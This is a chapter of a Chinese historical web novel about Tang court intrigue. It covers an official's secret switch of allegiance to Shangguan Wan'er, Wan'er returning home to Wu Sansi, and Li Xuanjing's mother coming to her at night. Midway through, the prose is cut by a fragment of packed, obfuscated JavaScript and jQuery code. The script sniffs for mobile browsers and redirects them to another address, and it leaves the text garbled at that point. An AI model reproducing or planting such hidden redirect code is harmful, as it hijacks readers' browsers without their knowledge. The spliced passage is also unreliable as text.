140.元日(4)

作品:《非池中物

    郑娘子看着面前这位虽说有些上了年纪但还是仪表堂堂的郎君,突如其来的觉得有些陌生。


    卢郎中这么聪慧的人,怎么能感知不到怀中自己娘子的那份独属于娘子们才有的无用的心软。


    小娘子家的这份娇羞悲伤作态,反而让卢郎中更是喜欢,柔弱的娘子才惹人疼呢。


    连忙哄道“你放心,你给我生的那些儿郎女郎,我哪一个不额外看重,他们绝对不会被这样对待的,府中的小妾不也是都由着你来管教的,哪个还能越过了你去。”


    得了安抚的娘子,真就听进去了,有了郎君的保证,她更是骄傲,她出身高贵,郎君尊重,身份自觉高出后宅那些小妾不知多少倍。


    卢郎中向来喜欢她不理俗世,又温柔贤惠的模样,她特意今日打扮的飘逸,常年茹素,身形也饿的西子捧心一般。


    服从,顺从郎君的审美,努力修改自己往日还是闺中小童时候的习性,迎合着自己的夫君喜爱。


    卢郎中是自己的衣食父母,掌握着自己的命运,不管是她也好,后宅的其他小妾也好,都是这样过日子的。


    她也有些气恼,李玄净的不知好歹。


    嫁给萧家郎君多风光啊,没有了郎君的宠爱,努力争就是了,改自己的脾性,打扮,哪有郎君吸引不住呢,连个郎君都拢不住心,那可真是无用。


    她就不相信,有卢家这样的办个娘家,还能过得不好么?不过是些小妾,随便拿捏的东西。


    郑氏被卢郎中捏着手,知道郎君来了兴趣,更是放低了身段,柔声问道“那郎君刚刚说演戏?是指什么?”


    人到中年的自家娘子,多了些韵味,自己调教的更是符合自己的胃口,欲拒还迎的语调,让他差点不能自拔,幸而还有正事要做,拨开了她那双柔胰,“也不怕你知道。今日门下的中丞替那小娘子说了话。”


    说起严肃事情,人也正经了几分。


    替那小娘子说话也没什么所谓。


    “这话中内容更重要。”


    裴中丞亲自找了来,那就是两圣插手了,他们知道他们拿了贡品的事情,这事是他们不管,不是他们不知道。


    东宫太子的实力,还没有那么大。


    这里面有没有沛王(1)或其他亲王的手笔,谁也不敢说。


    ”我那甥女的官职,我现在才反应过来。“


    亏他还是礼部的郎中呢,他今日反应过来,后宫女官的职阶,高级别的又不是没有,偏偏是个不怎么引人注意的司籍,就不知道其他朝臣反应过来的人有多少了。


    司籍司籍,编撰书籍。


    历来能编撰书籍的不是史官就是某项专门学识达到顶峰的学着。


    再有,那都是天子门生,圣上自己扶持的羽翼。


    新皇登基后,为了统一民众的思想,常常会编撰一些具有权威性的书籍。


    太宗在位时,为了统一长期以来的各种社会意识,通过编撰发表的《五经》(2)等经书,统一了南北经学,结束了众多的儒家门派对儒学的纷乱解释。


    又如唐太宗贞观三年,皇帝下令修史,主要是对梁、陈、齐、隋几个王朝的历史进行编撰。


    那可是好一个大刀阔斧的编撰谱牒书,从而壮大李氏家族,同时抑制旧时贵族。


    再如太宗亲自参与编撰注解的《帝范》,那就是为了树立皇权权威,维护统治。


    郑氏:“她不是平日里只是涂改写旧日书籍的名号变化,以及帮忙修些起居注一类的么?”


    卢郎中:“我也是这么认为的,可朝会上已经开始帮着那上官婉儿处理政务了,保不齐之后要做什么,怕是要被重用。”


    “那华阳观门口是两拨人,我抢先了一步,也算是用我这外甥女投了诚,明日陪着演一场戏,我就彻底安全了。”


    他有时都要夸自己实在是敏锐,要不是李家人来了长安,他还好多事反应不过来呢,如今算是蛇鼠两端,这次明着还是与郑詹事也就是太子交好,他照常根据他们的吩咐,为难着李玄净,为难着李家,像是在努力为两家联姻做事。


    日后李家人就算是报复,那都是他所付出的证明,谁都不知道,他已经换了阵营,私下里已经算是投靠了上官婉儿。


    郑氏听不懂,她被卢郎中拍掉了上下摸索的手,她也不恼,乖巧听话的依偎在自家郎君怀中,一脸崇敬的望着打了一副好谋划的卢郎中。


    卢郎中低头看到怀中娘子那跌宕起伏的柔软,早就潮红一片的脸庞,早就按耐不住了,连脖子上的伤口也不想再管,他一口气吹熄了烛台上的烛火。


    懂事的侍从们连忙退下,留下一众侍女侍奉帮忙。


    自然是一片雪中春光旖旎。


    -----


    “娘子对她真好。”


    马车里,上官婉儿刚刚送走了李玄净,一开一关的马车里进了好些凉风,她裹着一个狐裘,将双手空置在铜炉之上,暖着身子。


    其实那风不大,是这夜色太黑了,显得冷咧。


    马车所经之处,她看到旁人皆有家人在门口等着,还是会触景生情,略有羡慕。


    长久以来,她时常哄骗自己,没有了家人多好啊,没有了累赘,也没有了把柄,她有时候还庆幸,自己没有见过阿耶,和那不可一世的祖父上官仪,所以没有感情,所以也不会像普通人一样,会因此难过,她只要把两圣侍奉好了,自己苟且活着,比之旁人尊贵也没什么不好。


    “我想成为想御正一样成功的女官。”


    知道她是哄骗自己的,可还是听了暖心。


    “我对她算好么?”其实对她好,也是有自己的打算。


    她和卢郎中借着此次的事情说好了条件,李玄净也因此成了自己的棋子。


    可还是对着侍奉自己忠心的侍女说道。


    “她安全,对我只有好处,我的手下们,过的越好,走的越远,我的手也更长些。”


    纭文娘子不懂朝政,不太能与上官婉儿探讨个来回,她只负责料理侍奉婉儿娘子在群贤坊府邸一切事物,娘子回府时,她跟着随侍而已。


    娘子对她们这仆妇侍从都很温和,她们都很感激。


    “娘子远虑,今日可还回延平门内群贤坊的宅邸么?"


    “回去吧。” 她除了宫里也无处可去,她自己的府邸里,不用忧虑其他,也不用面对两圣,她也想好好休息下了。


    马车抵达了府邸,车夫停车,门卫出来迎接。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496071|120901||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“上官娘子,武郎君在府邸等候您多时了。“


    “他说您再不回来,他就要去宫中寻你了,他还带了不少您爱的吃食和西域时兴的东西。”


    这门卫一看就没少收好处,御正刚刚扶着侍女的手下车,一张嘴就叭叭的帮忙说个不停。


    婉儿会心一笑,那位风姿特秀的皇后的侄子,右卫将军-武三思。


    纭文扶着上官婉儿进了府邸,没走多久,那郎君就迎了上来。


    是夜,她家这位孤苦又姿容艳丽的娘子,不用孤单了。


    -------


    李玄净全府上下一同陪着细密计划了一番,每个人都设定了自己要做的事情。


    家里人都想好了怎么反抗,李玄净自己需要做什么,头一次她落了后,脑袋乱成一团麻,虽然家里人都让她这几日被放了假好好休息,和姊妹一同去寺中宫观中看看戏曲,去东西两市吃吃玩玩。


    可她根本闲不住,洗漱过后,灯芯为自己上了药,就躺在自己舒服的榻上,辗转腾挪,没一刻停歇,像是身上发了霉。


    今日阿耶,大伯也和自己交代了,他们来长安完全是两圣的直接授意,不然兄弟二人怎么可能同时在一个地方任职。


    那位王市令更是千挑万选,有能力,有风骨,管城县被治理的极好,赵家那样强势,被萧家那样威胁依然可以不受裹挟,两边都能维护好,不知用的什么方法,李玄净很是佩服。


    虽然摸清了两圣的一些想法,和为什么自己被他们看重的目的,可还是睡不着。


    门外有人敲门。


    三声过后,李玄净把蒙在被衾里的头伸了出来,这么晚也不知是谁。


    她踩着靸鞋,去开了门。


    阿娘卢芸端了盏灯,只披着一件批袄,手中也没有什么暖炉,一脸憔悴的进了门来。


    李玄净连忙扯了阿娘进屋,又去拿了自己的棉服给阿娘盖在肩上。


    “阿娘怎么还不睡?“


    “阿耶可不哭了? ”


    李玄净的阿耶自从知道李玄净自己为自己选好了夫婿,先是震惊,后就是止不住的流眼泪。


    举全家之力,轮着劝,才从嚎哭变成啜泣。


    李玄净的脑海里,阿耶是个很爱哭的郎君,她没怎么见过这种人,她都无法想象这样的一位阿耶,要怎么在官署任职。


    可就是这样一位阿耶,是家里最想得开,最机敏的。


    也是这样的一位阿耶,有把家里人都好好护住。


    “净娘,阿娘今夜想同你一起睡。”


    “可好?”


    卢芸一如既往的温柔询问,一双美目里面却盛满了悲伤。


    是心疼,是感叹,更是愧疚。


    两人一同躺在同一张榻上,李玄净有些许的不自然。


    卢芸是她阿娘,知道她长大了,也避母,主动往胡榻的边角上挪了一下,却把被衾更多的一面,全都盖到了李玄净身上。


    温柔似水的声音淡淡漾开 ,像是叙述者特别平常的一件家常小事 。


    “今日周郎的娘带着礼物来了,说是提前送的元日节礼,那郎君没来,他阿耶也没来,箱子里有个铜铸的大雁。为娘知道,这是来说亲和提前打探的。”